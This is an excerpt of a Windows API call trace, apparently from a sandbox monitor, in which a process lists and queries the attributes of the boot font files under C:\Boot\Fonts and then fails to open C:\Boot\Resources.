	[0238.468] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0239.526] SetEvent (hEvent=0x124) returned 1
	[0239.526] VirtualAlloc (lpAddress=0xc000452000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000452000
	[0239.530] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0239.531] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0239.531] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0239.531] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0239.531] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0239.531] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
	[0239.531] VirtualAlloc (lpAddress=0xc000454000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000454000
	[0239.532] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0239.532] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0239.532] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1
	[0239.532] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1
	[0239.532] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1
	[0239.532] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1
	[0239.532] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1
	[0239.533] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1
	[0239.533] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1
	[0239.533] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1
	[0239.533] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
	[0239.533] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0239.533] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0239.534] VirtualAlloc (lpAddress=0xc000456000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000456000
	[0239.535] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0239.535] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467)) returned 1
	[0239.549] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.549] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a)) returned 1
	[0239.564] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.564] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b)) returned 1
	[0239.610] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.610] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588)) returned 1
	[0239.665] SetEvent (hEvent=0x124) returned 1
	[0239.665] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x35, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.665] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506)) returned 1
	[0239.673] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.673] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f)) returned 1
	[0239.697] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.697] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b)) returned 1
	[0239.707] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.707] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a)) returned 1
	[0239.720] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.721] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb)) returned 1
	[0239.754] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.754] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b)) returned 1
	[0239.754] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.755] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255)) returned 1
	[0239.755] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.755] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b)) returned 1
	[0239.755] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x37, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.755] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b)) returned 1
	[0239.769] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.770] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2)) returned 1
	[0239.770] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x39, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.770] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66)) returned 1
	[0239.771] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.771] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3)) returned 1
	[0239.771] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0239.771] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Resources" (normalized: "c:\\boot\\resources"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0239.871] CreateFileW (lpFileName="C:\\Boot\\Resources" (normalized: "c:\\boot\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
